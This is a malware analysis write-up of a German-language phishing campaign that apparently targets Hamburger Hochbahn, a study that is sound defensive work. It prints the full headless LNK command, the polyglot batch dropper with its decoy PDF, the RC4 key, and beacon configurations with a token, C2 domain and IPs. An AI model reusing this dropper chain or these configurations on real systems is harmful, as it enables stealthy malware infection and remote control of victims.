hamburger hochbahn initial access campaign

Clicking the .lnk

This Tweet from MalwareHunterTeam led me to a sample (SHA256: 1ADC4E56702591A0E4BC913F243A0FA6055F7A7CB3F8EEADF3117B6D2A295885) that initially seemed interesting, as it appeared to be targeting a German audience. It is a ZIP archive containing only one file: Datenschutz_Update_2025_2.pdf.lnk (SHA256: 4E3B44AA448B9AB4618E10C342E64AACD50359370C94493884DC7EFC74F8C129), which does not have the Hidden attribute set. As a result of these attributes, in the default configuration (file extensions hidden, hidden files not shown) only the .lnk file is visible to the potential victim who opens this archive.

Get-ChildItem -Force | Select-Object Name, Attributes

Name                                             Attributes
----                                             ----------
CACHE.DAT                                   Hidden, Archive
CACHE.DAT.BAK                               Hidden, Archive
counter32.node                              Hidden, Archive
Datenschutz_Erklaerung.pdf        ReadOnly, Hidden, Archive
Datenschutz_Update_2025_2.pdf.lnk                   Archive
IconCache.bat                               Hidden, Archive

This shortcut is not a simple reference to a PDF file for viewing. Instead, the absolute path points to C:\Windows\System32\conhost.exe and it also includes the arguments --headless %cOmSPec% /c cd %temp% && for /f %f in ('dir Datenschutz_Update_2025_2.* /S /B') do findstr /b /r ".confirmedline" %f > %localappdata%\icon_update.bat && forfiles /p %LOCALAPPDATA% /m icon_update. /c "cmd /c @PATH" This is a classic tactic to cause the user to execute something they did not realize they were executing. Scripts and follow-up binaries can be launched without the user noticing. Concretely, these parameters cause the following:

  • %cOmSPec% /c starts the Windows command shell (via conhost.exe) and the --headless parameter hides the child process window.
  • cd %temp% && for /f %f in ('dir Datenschutz_Update_2025_2.* /S /B') do changes to the current user’s AppData\Local\Temp directory and iterates over all files that begin with Datenschutz_Update_2025_2.
  • findstr /b /r ".*confirmedline" %f > %localappdata%\icon_update.bat searches each of those files for lines ending with confirmedline and writes each matching line into a new file named icon_update.bat in %LOCALAPPDATA%.
  • forfiles /p %LOCALAPPDATA% /m icon_update.* /c "cmd /c @PATH" then executes every file in %LOCALAPPDATA% whose name starts with icon_update.

Executing icon_update.bat

Only a single file matches the searched filename pattern: the .lnk file itself. This is a polyglot file, because after extracting the additional lines that end with confirmedline you get a valid batch script:

:: Unzip the file &:: confirmedline
mkdir %LOCALAPPDATA%\IconCache &:: confirmedline
tar -xf %USERPROFILE%\Downloads\Datenschutz_Update_2025_2.zip -C %LOCALAPPDATA%\IconCache &:: confirmedline
move "%LOCALAPPDATA%\IconCache\Datenschutz_Erklaerung.pdf" "%TEMP%\Datenschutz_Erklaerung.pdf" &:: confirmedline
start "" "%TEMP%\Datenschutz_Erklaerung.pdf" &:: confirmedline
cd "%LOCALAPPDATA%\IconCache" &:: confirmedline
start "" conhost.exe --headless "%LOCALAPPDATA%\IconCache\IconCache.bat" & :: confirmedline
timeout /t 40 & :: confirmedline
move CACHE.DAT CACHE1.DAT & :: confirmedline
move CACHE.DAT.BAK CACHE.DAT & :: confirmedline
start "" conhost.exe --headless "%LOCALAPPDATA%\IconCache\IconCache.bat" & :: confirmedline
timeout /t 40 & :: confirmedline
move CACHE.DAT CACHE.DAT.BAK & :: confirmedline
move CACHE1.DAT CACHE.DAT & :: confirmedline

This script (if you ignore the comments appended with :: confirmedline) performs multiple actions: It first extracts the entire ZIP archive, including the previously mentioned but so far unused files, into %LOCALAPPDATA%\IconCache and moves the real PDF file to %TEMP%\Datenschutz_Erklaerung.pdf. Next, it opens this PDF file with the default PDF viewer and displays it to the user as expected. This serves as a distraction: after clicking the .lnk file, the user ultimately sees a PDF with valid content that matches the file name. It is the actual 25-page privacy policy of the Hamburger Hochbahn.

Besides this, the script performs something more sinister in the background, unseen by the user. It changes to the previously created directory and then launches another script from the original ZIP file, IconCache.bat, again via conhost.exe with the --headless parameter. This IconCache.bat is a one-liner that, in turn, executes counter32.node (an exectuable, SHA256: 95F23A544ED85999734F3BDF5D0369D23F981740841CBDE91B8D73F7948AEC2B which is also included in the archive) via msiexec. Afterwards, it waits 40 seconds, renames the file previously called CACHE.DAT to CACHE1.DAT, and replaces it with the file that was previously CACHE.DAT.BAK, renaming it to CACHE.DAT. Then the IconCache.bat script is executed again, waits another 40 seconds, and finally (pointlessly) reverts the filename changes.

Decrypting CACHE.DAT

The previously mentioned counter32.node binary is highly suspicious. Although it is signed, the certificate has expired and is known to be a legitimate code-signing certificate from NVIDIA - a certificate that was stolen in an attack made public on 28 February 2022. It can be identified by the thumbprint 30632EA310114105969D0BDA28FDCE267104754F and has since been used by various criminal actors, including Iranian state-sponsored actors.

$sig = Get-AuthenticodeSignature ".\counter32.node";
"Signer: $($sig.SignerCertificate.Subject)";
"Thumbprint: $($sig.SignerCertificate.Thumbprint)";
"NotBefore: $($sig.SignerCertificate.NotBefore)";
"NotAfter: $($sig.SignerCertificate.NotAfter)"

Signer: CN=NVIDIA Corporation, O=NVIDIA Corporation, L=SANTA CLARA, S=California, C=US
Thumbprint: 30632EA310114105969D0BDA28FDCE267104754F
NotBefore: 07/28/2015 02:00:00
NotAfter: 07/27/2018 01:59:59

An analysis of this binary quickly reveals its actual purpose: the file itself is not intrinsically malicious. It serves a single function: decrypting, loading and executing additional executables that are hidden inside the previously mentioned CACHE.DAT files. To do this it uses a trivial API-hashing routine to stealthily import various functions, including SystemFunction032 from Cryptsp.dll, a known interface that can be used to apply RC4 encryption.

ReadFile("CACHE.DAT",&local_10,&local_18);
local_38 = 0x316e643064323930;
local_30 = 0x62676c446e3064;
uStack_29 = 0x6e643170;
ObfuscatedRC4Call(&local_38,local_10,0x13,local_18 & 0xffffffff);

For this, a hardcoded key in hex is used: 1nd0d290bglDn0dnd1p. Since the previous script executes this binary twice, and the CACHE.DAT file changes in between, both hidden files are decrypted and executed with a 40-second interval.

First loader and outlook beacon

Both decrypted files that are loaded one after the other share the same structure: each is both a Rust-written reflective_loader.dll and, at offset 3200, a beacon.dll which is loaded and executed. The two versions (from .DAT and .DAT.BAK) differ at first glance only by their respective configurations, which are embedded in the binary in .toml format.

transport_size = 3145728
sleep = 60
jitter = 30
connection_info = "1.AUEBOYFWJn57g0-PeqZsLbgC9HiO7B_kvK9KqxtUUcw4cmRBAZtBAQ.AgABAwEAAABlMNzVhAPUTrARzfQjWPtKAwDs_wUA9P8L1bBdZPzBBnV46TeM6eZpp31VFCaY1l9lInZBQLPpBolNazkhb6jw-bRw2K6mLyETsr6zVbZqtglklFM9PC-drYDI8ClRiCQ0CCB1ELgFTsy7I4Kvkzq1boRFAZMsy902qkpGcHggvNxTo12CAl-_fbZ91qDxDu6z1nPEH2asDqNqLaMlO7fDF6R5B-fQyqt89d9qezDLmdgD0BIVhN3GxAH_L82mAW95VOr3wwV5eB7yS5zwGtpVu6t3GRMO9paD7GB9S2HwYzXVteljZxK3KGh2xDfB_VFpk9u69XRgikE7JUlrs7ZoSuPnwKmm0odqN6yf1Fdibg8wnFk59W2B9IUOJadDtLqA5xS9BtwBQlhw8MqztI3Q-EcUDHCX-45WWZpX6avNG3Av-UAwS4Hxl-5i4A_HMJ6f9zNXFq4vrRClFNhhuEO7zIoDDZzA6Qo_x0kbWDFwraXF7yjBCaRW6LLDk2GlB5fhuEuMV33cpZUwFPQJLmAfQRl6wIK2bSzar2wuN-B9af4hR1KyXZM-h3Ar_7jB8FMVLaZBDDtfkaKvKnytd2gzvFYWWGjNH8uHho2ib5YgrbqIshv8qtk3IY9-srXdiYo0PHEZ-_59E6dhXPwsvEkCKV15_iZbDLrpq9xqpO6ynuXmkGeX45FkJ1wlM3mzNZ2BGVGtKYDgSaZ06wotlPr0j-BgfTkbMTUcNZihB2Tb7US6vcaecfrUsIpGXMmUdXYhjBeAdFXmGsr0pAKhA64"
message_encoding = "base64"
message_length_prefix = false

[outlook_beacon_config]
attachment_filename = "music.wav"

This first beacon is notable for containing an outlook_beacon_config block and for holding a Microsoft refresh token as its connection_info. This likely implements functionality similar to what is described in this repo by boku7. Using the token, the beacon attempts to connect to a Microsoft tenant and communicate via the mailbox Drafts folder, working with attachments named music.wav. A check of the token to look for any further communication returned nothing at the time of this report — the response indicates the token was likely already revoked:
AADSTS50173: The provided grant has expired due to it being revoked, a fresh auth token is needed. The user might have changed or reset their password. The grant was issued on '2025-10-17T15:17:01.1225346Z' and the TokensValidFrom date (before which tokens are not valid) for this user is '2025-10-30T10:07:36.0000000Z'. Trace ID: cc4d5c4a-fdcb-4986-a39b-1fbfd5fa7d00 Correlation ID: b660ca58-cadc-4f53-915c-5c669082cead Timestamp: 2025-10-31 19:57:24Z

Second loader and dns beacon

The second beacon features a rather classic dns_beacon_config block to establish a connection over DNS, using well-known variable names from other Malleable C2 configuration. It also includes a connection_info entry that provides an additional hint pointing to the Hamburger Hochbahn: cdn.hamburgerhb-konzern.de - a dedicated domain bearing the companys name so it blends into regular traffic.

transport_size = 8192
sleep = 60
jitter = 30
connection_info = "cdn.hamburgerhb-konzern.de"
message_encoding = "base32"
message_length_prefix = false

[dns_beacon_config]
max_transport_size = 8192
dns_metadata = "130.162.214.241"
dns_idle = "20.79.104.216"
dns_commands = "23.20.160.5"
dns_v6_metadata_response = "2600:1f01:4874:0010:0250:56ff:febd:e6ac"
dns_max_qname_length = 253
dns_max_label_length = 63

In this case the check also returned no results: the DNS record was resolved the day before to the configured IP (according to VirusTotal), but that IP has no known history or publicly documented open ports or additional payloads.

Further analysis of the beacon itself also reveals a number of Beacon commands are defined that match known C2 functionality.

struct variant BeaconCommand::BeaconExit
struct variant BeaconCommand::BeaconSleep
struct variant BeaconCommand::Download
struct variant BeaconCommand::LoadBof
struct variant BeaconCommand::PivotAdd
struct variant BeaconCommand::PivotData
struct variant BeaconCommand::PivotRemove
struct variant BeaconCommand::RportfwdData
struct variant BeaconCommand::RportfwdStart
struct variant BeaconCommand::RportfwdStop
struct variant BeaconCommand::RportfwdStopSession
struct variant BeaconCommand::Shell
struct variant BeaconCommand::SocksData
struct variant BeaconCommand::SocksStop
struct variant BeaconCommand::UploadData

IoCs

Datenschutz_Update_2025_2.zip1ADC4E56702591A0E4BC913F243A0FA6055F7A7CB3F8EEADF3117B6D2A295885
Datenschutz_Update_2025_2.pdf.lnk4E3B44AA448B9AB4618E10C342E64AACD50359370C94493884DC7EFC74F8C129
IconCache.bat1C2E4910BB98A084198B0726BC64D88CAF4C3D8414D7B51B32CA91660A4D4AB4
counter32.node95F23A544ED85999734F3BDF5D0369D23F981740841CBDE91B8D73F7948AEC2B
CACHE.DAT.17D98067FFACC9DAB85606BE2A1C68E05B71B77DAD974079F15609590CB4663B
CACHE.DAT.BAKC0C4BE879CAC78F1179FD3CFA44E466C657BE4EC29BEF96B1E7204983E8F0C43
CACHE.DAT_reflective_loader.dll19080CB556B34BC17696D63EF54582D2D46976D09775965AA8E499234B87150D
CACHE.DAT_beacon.dll149709BB4C016D8EE873602D5BA4D79FA2B7A8F88B1D12D097F05FBB3243ABC2
CACHE.DAT.BAK_reflective_loader.dllF6A1AF825E290EC6C2A3EEA1F611FBED4E46BE9F2F1867379C67347A71EACDCD
CACHE.DAT.BAK_beacon.dllA22D7AE38B11A436FAE8702519988038655D80ABEC04F250C93FDBCE10C0FC1A
leaked signing cert30632EA310114105969D0BDA28FDCE267104754F
connection_infocdn.hamburgerhb-konzern.de
dns_metadata130.162.214.241
dns_idle20.79.104.216
dns_commands23.20.160.5
dns_v6_metadata_response2600:1f01:4874:0010:0250:56ff:febd:e6ac